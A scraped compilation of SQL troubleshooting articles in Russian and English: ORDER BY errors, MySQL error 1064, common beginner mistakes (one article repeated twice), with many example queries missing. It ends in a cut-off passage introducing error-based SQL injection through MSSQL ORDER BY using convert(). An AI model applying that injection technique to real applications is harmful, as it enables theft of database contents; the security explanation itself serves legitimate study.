Sql order by ошибка

For a simple count like the OP is showing, the Order by isn’t strictly needed. If they are using the result of the subquery, it may be. I am working on a similiar issue and got the same error in the following query:

— I want the rows from the cost table with an updateddate equal to the max updateddate:

    SELECT * FROM #Costs Cost
    INNER JOIN
    (
        SELECT Entityname, costtype, MAX(updatedtime) MaxUpdatedTime
        FROM #HoldCosts cost
        GROUP BY Entityname, costtype
        ORDER BY Entityname, costtype  -- *** This causes an error***
    ) CostsMax
        ON  Costs.Entityname = CostsMax.entityname
        AND Costs.Costtype = CostsMax.Costtype
        AND Costs.UpdatedTime = CostsMax.MaxUpdatedtime
    ORDER BY Costs.Entityname, Costs.costtype

— *** To accomplish this, there are a few options:

— Add an extraneous TOP clause, This seems like a bit of a hack:

    SELECT * FROM #Costs Cost
    INNER JOIN
    (
        SELECT TOP 99.999999 PERCENT Entityname, costtype, MAX(updatedtime) MaxUpdatedTime
        FROM #HoldCosts cost
        GROUP BY Entityname, costtype
        ORDER BY Entityname, costtype  
    ) CostsMax
        ON Costs.Entityname = CostsMax.entityname
        AND Costs.Costtype = CostsMax.Costtype
        AND Costs.UpdatedTime = CostsMax.MaxUpdatedtime
    ORDER BY Costs.Entityname, Costs.costtype

— **** Create a temp table to order the maxCost

    SELECT Entityname, costtype, MAX(updatedtime) MaxUpdatedTime
    INTO #MaxCost
    FROM #HoldCosts cost
    GROUP BY Entityname, costtype
    ORDER BY Entityname, costtype  

    SELECT * FROM #Costs Cost
    INNER JOIN #MaxCost CostsMax
        ON Costs.Entityname = CostsMax.entityname
        AND Costs.Costtype = CostsMax.Costtype
        AND Costs.UpdatedTime = CostsMax.MaxUpdatedtime
    ORDER BY Costs.Entityname, costs.costtype

Other possible workarounds could be CTE’s or table variables. But each situation requires you to determine what works best for you. I tend to look first towards a temp table. To me, it is clear and straightforward. YMMV.

MySQL error 1064

Автор: Василий Лукьянчиков , vl (at) sqlinfo (dot) ru

Статья ориентирована на новичков. В ней объясняется, что означает ошибка сервера MySQL №1064, рассматриваются типичные ситуации и причины возникновения этой ошибки, а также даются рекомендации по исправлению.

Рассмотрим простейший пример.

Сервер MySQL сообщает, что в первой строке нашего SQL запроса имеется синтаксическая ошибка, и в одинарных кавычках цитирует часть запроса с того места где начинается ошибка. Это очень полезное свойство, так как позволяет сразу определить место, которое сервер счел ошибочным. В данном случае это ‘-10,10’, ошибка возникает из-за того, что параметр LIMIT не может быть отрицательным числом.

Однако, бывает и так, что цитируемый кусок запроса не содержит синтаксической ошибки. Это означает, что данная часть запроса находится не на своем месте из-за чего весь запрос становится синтаксически неверным. Например, отсутствует разделитель между двумя запросами, пропущен кусок запроса, невидимый символ в дампе и т.д. Неудобством таких ситуаций является то, что сообщение об ошибке не содержит исходный запрос. Действия по исправлению зависят от контекста возникновения ошибки. Таковых всего 3:

1. Запрос в редакторе.

Самый простейший случай — вы пишите свой запрос в редакторе. Если причина не опечатка, то:

Смотреть в документации синтаксис команды для вашей версии сервера MySQL.

Обратите внимание: речь идет о версии сервера MySQL, а не клиента (phpmyadmin, workbench и т.д.). Версию сервера можно узнать выполнив команду select version ( ) ;

2. Перенос базы на другой сервер.

У вас есть дамп (т.е. файл с расширением .sql) и при попытке его импортировать вы получаете ошибку 1064. Причины:

В различных версиях набор ключевых слов и синтаксис может немного отличаться. Наиболее распространенный случай: команда create table, в которой ключевое слово type было заменено на engine. Например, если вы получаете ошибку:

Это означает, что вы переносите базу в пятую версию сервера MySQL, в котором ключевое слово TYPE не поддерживается и его нужно заменить на ENGINE.

Редко бываю случаи, когда перенос идет на старый (

3.23) сервер, который кодировки не поддерживает. Тогда ошибка будет иметь вид:

Такое может произойти, если вы переносите базу с хостинга на локальный комп, где стоит древняя версия MySQL. Лучшим решением в данном случае будет не править дамп, а обновить MySQL.

Часто проблемы вызваны тем, что дамп делается неродными средствами MySQL (например, phpmyadmin) из-за чего в нем могут быть BOM-маркер, собственный синтаксис комментариев, завершения команды и т.д. Кроме того при использовании того же phpmyadmin возможна ситуация при которой из-за ограничения апача на размер передаваемого файла команда будет обрезана, что приведет к ошибке 1064. Например, если вы получаете ошибку:

Значит ваш дамп содержит BOM-маркер. Это три байта в начале файла, помогающие программе определить что данный файл сохранен в кодировке UTF-8. Проблема в том, что MySQL пытается интерпретировать их как команду из-за чего возникает ошибка синтаксиса. Нужно открыть дамп в текстовом редакторе (например, Notepad++) и сохранить без BOM.

Для избежания подобных проблем при создании дампа и его импорте лучше пользоваться родными средствами MySQL, см http://sqlinfo.ru/forum/viewtopic.php?id=583

3. Некорректная работа сайта.

Если во время работы сайта появляются ошибки синтаксиса, то, как правило, причина в установке вами сомнительных модулей к вашей cms. Лучшее решение — отказаться от их использования. Еще лучше предварительно проверять их работу на резервной копии.

Пример. Движок dle 7.2, поставили модуль ,вроде бы все Ок, но:

MySQL Error!
————————
The Error returned was:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘AND approve=’ 1 ‘ AND date 2008 -10 -04 04 : 34 : 25 ‘ LIMIT 5’ at line 1

Error Number:
1064
SELECT id, title, date , category, alt_name, flag FROM dle_post WHERE MATCH ( title, short_story, full_story, xfields, title ) AGAINST ( ‘Приобретение и оплата скрипта ‘ ) AND id != AND approve= ‘1’ AND date ‘2008-10-04 04:34:25’ LIMIT 5

В данном примере мы видим, что причина ошибки в отсутствии значения после «id != «

Обратите внимание: из процитированного сервером MySQL куска запроса причина ошибки не ясна. Если ваша CMS не показывает весь запрос целиком, то нужно в скриптах найти место где выполняется данный запрос и вывести его на экран командой echo.

Кусок кода, который отвечает за данный запрос это

Далее можно искать откуда взялась переменная $row и почему в ней нет элемента ‘id’ и вносить исправления, но лучше отказаться от использования такого модуля (неизвестно сколько сюрпризов он еще принесет).

Источник

SQL Errors: Five Common SQL Mistakes

As you learn SQL, watch out for these common coding mistakes

You’ve written some SQL code and you’re ready to query your database. You input the code and …. no data is returned. Instead, you get an error message.

Don’t despair! Coding errors are common in any programming language, and SQL is no exception. In this article, we’ll discuss five common mistakes people make when writing SQL.

The best way to prevent mistakes in SQL is practice. LearnSQL.com offers over 30 interactive SQL courses. Try out our SQL Practice track with 5 courses and over 600 hands-on exercises.

Watch Your Language (and Syntax)

The most common SQL error is a syntax error. What does syntax mean? Basically, it means a set arrangement of words and commands. If you use improper syntax, the database does not know what you’re trying to tell it.

To understand how syntax works, we can think of a spoken language. Imagine saying to a person “Nice dof” when you mean “Nice dog”. The person does not know what “dof” means. So when you tell your database to find a TABEL instead of a TABLE, the database does not know what it needs to do.

People tend to make the same kinds of syntax mistakes, so their errors are usually easy to spot and very much the same. After you read this article, you should be able to remember and avoid (or fix) these common mistakes. Knowing what errors to look for is very important for novice SQL coders, especially early on. New coders tend to make more mistakes and spend more time looking for them.

The types of SQL errors we will look at are:

1. Misspelling Commands
2. Forgetting Brackets and Quotes
3. Specifying an Invalid Statement Order
4. Omitting Table Aliases
5. Using Case-Sensitive Names

Ready? Let’s start.

SQL Errors:

1. Misspelling Commands

This is the most common type of SQL mistake among rookie and experienced developers alike. Let’s see what it looks like. Examine the simple SELECT statement below and see if you can spot a problem:

If you run this query, you’ll get an error which states:

Each database version will tell you the exact word or phrase it doesn’t understand, although the error message may be slightly different.

What is wrong here? You misspelled FROM as FORM. Misspellings are commonly found in keywords (like SELECT, FROM, and WHERE), or in table and column names.

Most common SQL spelling errors are due to:

• “Chubby fingers” where you hit a letter near the right one: SELEVT or FTOM or WJIRE
• “Reckless typing” where you type the right letters in the wrong order: SELETC or FORM or WHEER

Solution:

Use an SQL editor that has syntax highlighting: the SELECT and WHERE keywords will be highlighted, but the misspelled FORM will not get highlighted.

If you’re learning with interactive SQL courses in LearnSQL.com , the code editor puts every SELECT statement keyword in light purple. If the keyword is black, as it is with any other argument, you know there’s a problem. (In our example, FORM is black).

So if we correct our statement we get:

The keyword is now the right color and the statement executes without an error.

2. Forgetting Brackets and Quotes

Brackets group operations together and guide the execution order. In SQL (and in all of the programming languages I use), the following order of operations …

… is not the same as:

Can you figure out why?

A very common SQL mistake is to forget the closing bracket. So if we look at this erroneous statement :

We get an error code with the position of the error (the 102nd character from the beginning):

Remember: brackets always come in pairs.

The same is true with single quotes ( ‘ ‘ ) or double quotes ( ” ” ). There is no situation in SQL where we would find a quote (either a single quote or a double quote) without its mate. Column text values can contain one quote ( e.g. exp.last_name = «O’Reilly» ) and in these situations we must mix two types of quotes or use escape characters. ( In SQL, using escape characters simply means placing another quote near the character you want to deactivate – e.g. exp.last_name = ‘O’’Reilly. )

Solution:

Practice, practice, practice. Writing more SQL code will give you the experience you need to avoid these mistakes. And remember people usually forget the closing bracket or quotation mark. They rarely leave out the opening one. If you’re running into problems, take a close look at all your closing punctuation!

3. Invalid statement order

When writing SELECT statements, keep in mind that there is a predefined keyword order needed for the statement to execute properly. There is no leeway here.

Let’s look at an example of a correctly-ordered statement:

There’s no shortcut here; you simply have to remember the correct keyword order for the SELECT statement:

• SELECT identifies column names and functions
• FROM specifies table name or names (and JOIN conditions if you’re using multiple tables)
• WHERE defines filtering statements
• GROUP BY shows how to group columns
• HAVING filters the grouped values
• ORDER BY sets the order in which the results will be displayed

You cannot write a WHERE keyword before a FROM , and you can’t put a HAVING before a GROUP BY . The statement would be invalid.

Let’s look at what happens when you mix up the statement order. In this instance, we’ll use the common SQL error of placing ORDER BY before GROUP BY :

The error message we see is pretty intimidating!

Solution:

Don’t be discouraged! You can see that all of the keywords are highlighted correctly and all the quotations and brackets are closed. So now you should check the statement order. When you’re just beginning your SQL studies, I suggest using a SELECT order checklist. If you run into a problem, refer to your list for the correct order.

4. Omitting Table Aliases

When joining tables, creating table aliases is a popular practice. These aliases distinguish among columns with the same name across tables; thus the database will know which column values to return. This is not mandatory when we’re joining different tables, since we can use the full table names. But it is mandatory if we join a table to itself.

Suppose we’re writing an SQL statement to find an exhibition’s current location and the location from the previous year:

The database would return an error:

Note: Whenever you encounter “ambiguous column name” in your error message, you surely need table aliases.

The correct statement (with aliases) would be:

Solution:

Practice using table aliases for single-table SELECT statements. Use aliases often – they make your SQL more readable.

5. Using Case-Sensitive Names

This error only occurs when you need to write non-standard names for tables or database objects.

Let’s say that you need to have a table named LargeClient and for some reason you add another table called LARGECLIENT. As you already know, object names in databases are usually case-insensitive. So when you write a query for the LargeClient table, the database will actually query LARGECLIENT.

To avoid this, you must put double quotes around the table name. For example:

When creating a table, you will need to use double quotes if:

• The table will have a case-sensitive name.
• The table name will contain special characters. This includes using a blank space, like “Large Client”.

Solution:

Avoid using these names if you can. If not, remember your double quotes!

Everybody Makes SQL Mistakes

Those are the five most common errors in SQL code. You’ll probably make them many times as you learn this language. Remember, everybody makes mistakes writing code. In fact, making mistakes is a normal and predictable part of software development.

So don’t be discouraged. When you make mistakes in the future, try to analyze your code in a structured way. With a structured analysis, you can find and correct your errors quicker.

If you would like to learn about some other syntactic mistakes that I’ve not included here, please let me know. In an upcoming article, we’ll look at non-syntactic errors. These return or modify data and are therefore much more dangerous. Subscribe to our blog so you won’t miss it!

Источник

Five Common SQL Syntax Errors

As you learn SQL, watch out for these common coding mistakes

You’ve written some SQL code and you’re ready to query your database.

You input the code and …. no data is returned. Instead, you get an error message.

Don’t despair! Coding mistakes are common in any programming language, and SQL is no exception. In this post, we’ll discuss five common SQL syntax errors people make when writing code.

Watch Your Language (and Syntax)

The most common SQL error is a syntax error. What does syntax mean? Basically, it means a set arrangement of words and commands. If you use improper syntax, the database does not know what you’re trying to tell it.

To understand how syntax works, we can think of a spoken language. Imagine saying to a person “Nice dof” when you mean “Nice dog”. The person does not know what “dof” means. So when you tell your database to find a TABEL instead of a TABLE, the database does not know what it needs to do.

People tend to make the same kinds of syntax mistakes, so their mistakes are usually easy to spot and very much the same. After you read this article, you should be able to remember and avoid (or fix) these common SQL syntax errors. Knowing what errors to look for is very important for novice SQL coders, especially early on. New coders tend to make more mistakes and spend more time looking for them.

The types of syntax errors in SQL we will look at are:

1. Misspelling Commands
2. Forgetting Brackets and Quotes
3. Specifying an Invalid Statement Order
4. Omitting Table Aliases
5. Using Case-Sensitive Names

Ready? Let’s start.

Syntax Error 1: Misspelling Commands

This is the most common SQL syntax error among rookie and experienced developers alike. Let’s see what it looks like. Examine the simple SELECT statement below and see if you can spot a problem:

If you run this query, you’ll get an error which states:

Each database version will tell you the exact word or phrase it doesn’t understand, although the error message may be slightly different.

What is wrong here? You misspelled FROM as FORM. Misspellings are commonly found in keywords (like SELECT, FROM, and WHERE), or in table and column names.

Most common SQL spelling errors are due to:

• “Chubby fingers” where you hit a letter near the right one: SELEVT or FTOM or WJIRE
• “Reckless typing” where you type the right letters in the wrong order: SELETC or FORM or WHEER

Solution:

Use an SQL editor that has syntax highlighting: the SELECT and WHERE keywords will be highlighted, but the misspelled FORM will not get highlighted.

If you’re learning with interactive SQL courses in LearnSQL.com , the code editor puts every SELECT statement keyword in light purple. If the keyword is black, as it is with any other argument, you know there’s a SQL syntax error. (In our example, FORM is black).

So if we correct our statement we get:

The keyword is now the right color and the statement executes without an error.

Syntax Error 2: Forgetting Brackets and Quotes

Brackets group operations together and guide the execution order. In SQL (and in all of the programming languages I use), the following order of operations …

… is not the same as:

Can you figure out why?

A very common SQL syntax error is to forget the closing bracket. So if we look at this erroneous statement :

We get a syntax error code with the position of the error (the 102nd character from the beginning):

Remember: brackets always come in pairs.

The same is true with single quotes ( ‘ ‘ ) or double quotes ( ” ” ). There is no situation in SQL where we would find a quote (either a single quote or a double quote) without its mate. Column text values can contain one quote ( e.g. exp.last_name = «O’Reilly» ) and in these situations we must mix two types of quotes or use escape characters. ( In SQL, using escape characters simply means placing another quote near the character you want to deactivate – e.g. exp.last_name = ‘O’’Reilly. )

Solution:

Practice, practice, practice. Writing more SQL code will give you the experience you need to avoid these syntax errors. And remember people usually forget the closing bracket or quotation mark. They rarely leave out the opening one. If you’re running into problems, take a close look at all your closing punctuation!

Syntax Error 3: Invalid Statement Order

When writing SELECT statements, keep in mind that there is a predefined keyword order needed for the statement to execute properly. There is no leeway here.

Let’s look at an example of a correctly-ordered statement:

There’s no shortcut here; you simply have to remember the correct keyword order for the SELECT statement:

• SELECT identifies column names and functions
• FROM specifies table name or names (and JOIN conditions if you’re using multiple tables)
• WHERE defines filtering statements
• GROUP BY shows how to group columns
• HAVING filters the grouped values
• ORDER BY sets the order in which the results will be displayed

You cannot write a WHERE keyword before a FROM , and you can’t put a HAVING before a GROUP BY . The statement would be invalid.

Let’s look at what happens when you mix up the statement order. In this instance, we’ll use the common SQL syntax error of placing ORDER BY before GROUP BY :

The error message we see is pretty intimidating!

Solution:

Don’t be discouraged! You can see that all of the keywords are highlighted correctly and all the quotations and brackets are closed. So now you should check the statement order. When you’re just beginning your SQL studies, I suggest using a SELECT order checklist. If you run into a problem, refer to your list for the correct order.

Syntax Error 4: Omitting Table Aliases

When joining tables, creating table aliases is a popular practice. These aliases distinguish among columns with the same name across tables; thus the database will know which column values to return. This is not mandatory when we’re joining different tables, since we can use the full table names. But it is mandatory if we join a table to itself.

Suppose we’re writing an SQL statement to find an exhibition’s current location and the location from the previous year:

The database would return an error:

Note: Whenever you encounter “ambiguous column name” in your error message, you surely need table aliases.

The correct statement (with aliases) would be:

Solution:

Practice using table aliases for single-table SELECT statements. Use aliases often – they make your SQL more readable.

Syntax Error 5: Using Case-Sensitive Names

This SQL syntax error only occurs when you need to write non-standard names for tables or database objects.

Let’s say that you need to have a table named LargeClient and for some reason you add another table called LARGECLIENT. As you already know, object names in databases are usually case-insensitive. So when you write a query for the LargeClient table, the database will actually query LARGECLIENT.

To avoid this syntax error, you must put double quotes around the table name. For example:

When creating a table, you will need to use double quotes if:

• The table will have a case-sensitive name.
• The table name will contain special characters. This includes using a blank space, like “Large Client”.

Solution:

Avoid using these names if you can. If not, remember your double quotes!

Everybody Makes SQL Syntax Errors

Those are the five most common syntax errors in SQL code. You’ll probably make them many times as you learn this language. Remember, everybody makes mistakes writing code. In fact, making mistakes is a normal and predictable part of software development.

So don’t be discouraged. When you make mistakes in the future, try to analyze your code in a structured way. With a structured analysis, you can find and correct your syntax errors quicker.

If you would like to learn about some other syntactic mistakes that I’ve not included here, please let me know. In an upcoming article, we’ll look at non-syntactic errors. These return or modify data and are therefore much more dangerous. Subscribe to our blog so you won’t miss it!

Источник

Сегодня SQL используют уже буквально все на свете: и аналитики, и программисты, и тестировщики, и т.д. Отчасти это связано с тем, что базовые возможности этого языка легко освоить. 

Однако работая с большим количеством junior-ов, мы раз от раза находим в их решениях одни и те же ошибки. Реально — иногда просто создается ощущение, что они копируют друг у друга код. 

Кстати, иногда такая же участь постигает и специалистов более высокого полета. 

Сегодня мы решили собрать 7 таких ошибок в одном месте, чтобы как можно меньше людей их совершали. 

Примечание: Ошибки будут 2 видов — реальные ошибки и своего рода best practices, которым часто не следуют.

Но, обо всем по порядку 🙂

Кстати, будем рады видеть вас в своих социальных сетях — ВКонтакте Телеграм Инстаграм

1. Преобразование типов

Мы привыкли, что в математике мы всегда можем разделить одно число на другое и получить ответ. Если нацело не получается, то в виде дроби. 

В SQL это не всегда так работает. Например, в PostgreSQL деление двух целых чисел друг на друга даст целочисленный ответ. Это можно проверить как для целочисленных столбцов, так и для чисел. 

SELECT a/b FROM demo
# столбец целых чисел

SELECT 1 / 2
# 0

Аналогичные запросы, например, в MySQL дадут дробное число, как и положено. 

Если Вы точно не уверены или хотите подстраховаться, то лучше всегда явно делать преобразование типов. Например:

SELECT a::NUMERIC/b FROM demo

SELECT a*1.0/b FROM demo

SELECT CAST(1 AS FLOAT)/2 FROM demo

Все перечисленные примеры дадут нужный ответ. 

2. HAVING вместо WHERE

Часто встречается ошибка — оператор HAVING используется вместо WHERE в запросах с агрегацией. Это неверно!

WHERE производит фильтрацию строк в исходном наборе данных, отсеивая неподходящие. После этого GROUP BY формирует группы и оператор HAVING производит фильтрацию уже целых групп (будто группа — одно запись). 

Например:

SELECT date, COUNT(*)
FROM transactions t 
WHERE date >= '2019-01-01'
GROUP BY date
HAVING COUNT(*) = 2  

Здесь мы сначала отсеиваем строки, в которых хранятся записи до 2019 года. После этого формируем группы и оставляем только те, в которых ровно две записи. 

Некоторые же пишут так:

SELECT date, COUNT(*)
FROM transactions t 
GROUP BY date
HAVING COUNT(*) = 2  AND date >= '2019-01-01'

Так делать не нужно 🙂

Кстати, для закрепления этой темы мы специально делали задачку «Отфильтрованные продажи» у себя на платформе. Если интересно порешать и другие задачки по SQL — welcome 🙂

3. Алиасы и план запроса

Если «проговаривать SQL-запрос» словами, то получится что-то такое:

В таблице есть старая цена, а есть новая цена. Их разность я назову diff. Я хочу отобрать только те строки, где значение diff больше 100. 

Звучит вполне логично. Но в SQL прям так реализовать не получится — и многие попадаются в эту ловушку. 

Вот неправильный запрос:

SELECT old_price - new_price AS diff
FROM goods
WHERE diff > 100

Ошибка его заключается в том, что мы используем алиас столбца diff внутри оператора WHERE. 

Да, это выглядит вполне логичным, но мы не можем так сделать из-за порядка выполнения операторов в SQL-запросе. Дело в том, что фильтр WHERE выполняется сильно раньше оператора SELECT (а значит и AS). Соответственно, в момент выполнения столбца diff просто не существует. Об этом, кстати, и говорит ошибка:

ERROR: column "diff" does not exist

Правильно будет использовать подзапрос или переписать запрос следующим образом:

SELECT old_price - new_price AS diff
FROM goods
WHERE old_price - new_price > 100

Важно: Внутри ORDER BY вы можете указывать алиас — этот оператор выполняется уже после SELECT.

Кстати, мы тут делали карточку, где наглядно показывается последовательность выполнения операторов. Возможно, это вам пригодится.

4. Не использовать COALESCE

Пришло время неочевидных пунктов. Но сейчас мы поясним свои чаяния. 

COALESCE — это оператор, который принимает N значений и возвращает первое, которое не NULL. Если все NULL, то вернется NULL. 

Нужен этот оператор для того, чтобы в расчеты случайно не попадали пропуски. Такие пропуски всегда сложно заметить, потому что при расчете среднего на основании ста тысяч строк вы вряд ли заметите подвох, даже если 1000 просто будет отсутствовать. Обычно такие численные пропуски заполняют средними значениями/минимальными/максимальными/медианными/средними или с помощью какой-то интерполяции — зависит от задачи. 

Мы же рассмотрим нечисловой пример, а вполне себе бизнесовый. Например, есть таблица клиентов Clients. В поле name заносится имя пользователя. 

Отдел маркетинга решил сделать email-рассылку, которая начинается с фразы:

Приветствуем, имя_пользователя!

Очевидно, что если name is NULL, то это превратится в тыкву:

Приветствуем, !

Вот в таких случаях и помогает COALESCE:

SELECT COALESCE(name, 'Дорогой друг') FROM Clients

Совет: Лучше всегда перестраховываться. Особенно это касается вычислений и агрегирований — там вы не найдете ошибку примерно никогда, так что лучше подложить соломку. 

5. Игнорирование CASE

Если вы используете CASE, то иногда вы можете сократить свои запросы в несколько раз. 

Вот, например, была задача — вывести поле sum со знаком «-», если type=1 и со знаком «+», если type=0. 

Пользователь предложил такое решение:

SELECT id, sum FROM transactions t WHERE type = 0
UNION ALL
SELECT id, -sum FROM transactions t WHERE type = 1

В целом, не так плохо. Но это всего лишь промежуточный запрос, задача была намного масштабней и таких конструкций в итоге было наворочено очень много. 

А вот то же самое с CASE:

SELECT id, CASE WHEN type = 0 THEN sum ELSE -sum END FROM transactions t 

Согласитесь, получше?

Так более того, CASE можно использовать еще много для чего. Например, чтобы сделать из «длинной» таблицы «широкую».

А еще, кстати, COALESCE, который мы обсуждали выше — это просто «синтаксический сахар» и обертка вокруг CASE. Если интересно — мы подробно это описали в статье.

6. Лишние подзапросы

Из-за того, что многие пишут SQL-запросы также, как это «звучит» в их голове, получается нагромождение подзапросов. 

Это проходит с опытом — начинаешь буквально «мыслить на SQL» и все становится ок. Но первое время появляются такие штуки:

SELECT id, LAG(neg) OVER(ORDER BY id) AS lg
FROM (
  SELECT id, sm, -sm AS neg
  FROM ( 
    SELECT id, sum AS sm FROM transactions t 
  ) t
) t1

И это еще не все — можно и побольше накрутить. Но зачем так, если можно так:

SELECT id, LAG(-sum) OVER(ORDER BY id) FROM transactions t 

Совет: Если пока сложно, не надо сразу бросаться писать оптимизированными конструкциями. Напишите сначала, как сможете, а потом пытайтесь сократить. 

Как говорил дядюшка Кнут:

Преждевременная оптимизация — корень всех зол

7. Неправильное использование оконных функций

Вообще говоря, оконные функции — довольно продвинутый инструмент. Считается, что им владеют специалисты уровня Middle и выше. Но по факту, их нужно знать всем — сейчас без них уже сложно жить (это чистое имхо). 

И если базовые вещи по оконным функциям можно освоить довольно быстро, то всякая экзотика и нестандартное поведение осваивается, как правило, только на собственных шишках. 

Одна из таких вещей — поведение оконной функции LAST_VALUE и прочих. 

Например, когда мы пишем запрос:

WITH cte AS (
    SELECT 'Marketing' AS department, 50 AS employees, 2018 AS year
    UNION
    SELECT 'Marketing' AS department, 10 AS employees, 2019 AS year
    union
    SELECT 'Sales' AS department, 35 AS employees, 2018 AS year
    UNION
    SELECT 'Sales' AS department, 25 AS employees, 2019 AS year
)
SELECT c.*,
LAST_VALUE(employees) OVER (PARTITION BY department ORDER BY year) AS emp
FROM cte c

Мы ожидаем увидеть 2 раза по 10 для департамента Маркетинг и 2 раза по 25 для Продаж. Однако такой запрос дает иную картину:

Получается, что запрос тупо продублировал значения из столбца employees. Как так?

Лезем в документацию PostgreSQL и видим:

Заметьте, что функции first_value, last_value и nth_value рассматривают только строки в «рамке окна», которая по умолчанию содержит строки от начала раздела до последней родственной строки для текущей.

Ага, вот и ответ. То есть каждый раз у нас окно — это не весь набор строк, а только до текущей строки.

Получается, есть два способа вылечить такое поведение:

• Убрать ORDER BY

• Добавить определение рамки

Вот, например, второй вариант:

WITH cte AS (
    SELECT 'Marketing' AS department, 50 AS employees, 2018 AS year
    UNION
    SELECT 'Marketing' AS department, 10 AS employees, 2019 AS year
    union
    SELECT 'Sales' AS department, 35 AS employees, 2018 AS year
    UNION
    SELECT 'Sales' AS department, 25 AS employees, 2019 AS year
)
SELECT c.*,
LAST_VALUE(employees) OVER (
  PARTITION BY department
  ORDER BY year ROWS BETWEEN CURRENT ROW AND UNBOUNDED FOLLOWING
) AS emp
FROM cte c

Кстати, такую тему подняла наша подписчица в Телеграме под постом «7 самых важных оконных функций». Спасибо ей!

А вас рады будем видеть в числе подписчиков 🙂

Эпилог

Эти 7 ошибок — не единственные, которые часто встречаются среди новичков и даже профессионалов. У нас есть еще одна пачка тезисов по этому поводу — но это уже тема другой статьи. 

Если вам есть что добавить — будем рады продолжить обсуждение в комментариях. Возможно, чей-то код станет лучше и чище в результате нашей беседы 🙂

Can anyone help me?

I cant find why I get this error

ALTER PROCEDURE [dbo].[usp_cns_monto_conversion_moneda] 

@fechaInicio datetime,

@fechaFin datetime,

@codMonedaOrganizacion varchar(10)

AS

BEGIN

SET NOCOUNT ON;

(SELECT top 1 mtp_valor_moneda, mmn_cod_moneda, mmn_cod_moneda_organizacion, mmn_cod_organizacion,  mtp_fecha_inicio_vigencia

FROM dbo.mae_tipo_cambio

INNER JOIN mae_moneda ON mtp_cod_moneda = mmn_cod_moneda

WHERE mtp_fecha_inicio_vigencia < @fechaInicio

AND @codMonedaOrganizacion = mmn_cod_moneda_organizacion

ORDER BY mtp_fecha_inicio_vigencia DESC

)

UNION

(

SELECT mtp_valor_moneda, mmn_cod_moneda, mmn_cod_moneda_organizacion, mmn_cod_organizacion,  mtp_fecha_inicio_vigencia

FROM dbo.mae_tipo_cambio

INNER JOIN mae_moneda ON mtp_cod_moneda = mmn_cod_moneda

WHERE mtp_fecha_inicio_vigencia >= @fechaInicio

AND mtp_fecha_inicio_vigencia < @fechaFin

AND @codMonedaOrganizacion = mmn_cod_moneda_organizacion

ORDER BY mtp_fecha_inicio_vigencia DESC 

)

gets me 

Msg 156, Level 15, State 1, Procedure usp_cns_monto_conversion_moneda, Line 19

Incorrect syntax near the keyword ‘ORDER’.

Msg 156, Level 15, State 1, Procedure usp_cns_monto_conversion_moneda, Line 29

Incorrect syntax near the keyword ‘ORDER’.

This article’s aims to demonstrate a

known issue in SQL query execution, and two general workarounds to solve this issue. Although this issue has at least two workarounds, it is a good idea to vote for a fix in the above URL. Also, please add your ideas about this issue in the comments.

As mentioned in

this BOL content, we can find the “Logical Processing Order of the SELECT statement” which is a very important concept in query execution. The next paragraph quotes from this section:

The following steps show the logical processing order, or binding order, for a SELECT statement. This order determines when the objects defined in one step are made available to the clauses in subsequent steps. For example, if
the query processor can bind to (access) the tables or views defined in the FROM clause, these objects and their columns are made available to all subsequent steps. Conversely,
because the SELECT clause is step 8, any column aliases or derived columns defined in that clause cannot be referenced by preceding clauses. However, they can be referenced by subsequent clauses such as the ORDER BY clause. Note that the actual
physical execution of the statement is determined by the query processor and the order may vary from this list.

1. FROM
   
2. ON
   
3. JOIN
   
4. WHERE
   
5. GROUP BY
   
6. WITH CUBE or WITH ROLLUP
   
7. HAVING
   
8. SELECT
   
9. DISTINCT
   
10. ORDER BY
    
11. TOP

We cannot always use the column aliases in the ORDER BY clause. For example, when we want to use a column alias in the CASE expression or convert it to other data type (for sort purposes) or even use it within an expression. The following sample
shows this:

Code 1

As illustrated in the picture_01, the error message occurs because of using the alias in the first calling. If we use it alone, like the second line of the Order By clause, it works.

picture_01

Solutions

The first workaround for this problem is to duplicate the code. Instead of using its alias, we can use the same code that we named it with a new alias. We can change the above code to
this one:

Code 2

picture_02

The second workaround for this problem is using the CROSS APPLY instead of duplicating code. This way is the cleanest solution we can use and perhaps safest since if this issue is eventually
«fixed» we might find duplicating aliases an issue. We can instead:

Code 3

As illustrated in the following picture, in this solution, we use the computation column code in the CROSS APPLY phase. Then, we can use it in the SELECT clause and also in the ORDER
BY clause without any problem. This is a much cleaner technique than duplicating code and therefore likely to be the preferred choice.

picture_03

See Also

• All-at-Once
  Operations in T-SQL
• APPLY
  Operator in SQL Server
• T-SQL:
  How the Order of Elements in the ORDER BY Clause Implemented in the Output Result
• Custom
  Sort in Acyclic Digraph
• Sort
  Letters in a Phrase using T-SQL
• Transact-SQL
  Portal

Автор: Manish Kishan Tanwar

Введение

Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.

Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.

Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».

С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной. Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.

Схема эксплуатации

Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.

Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».

Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.

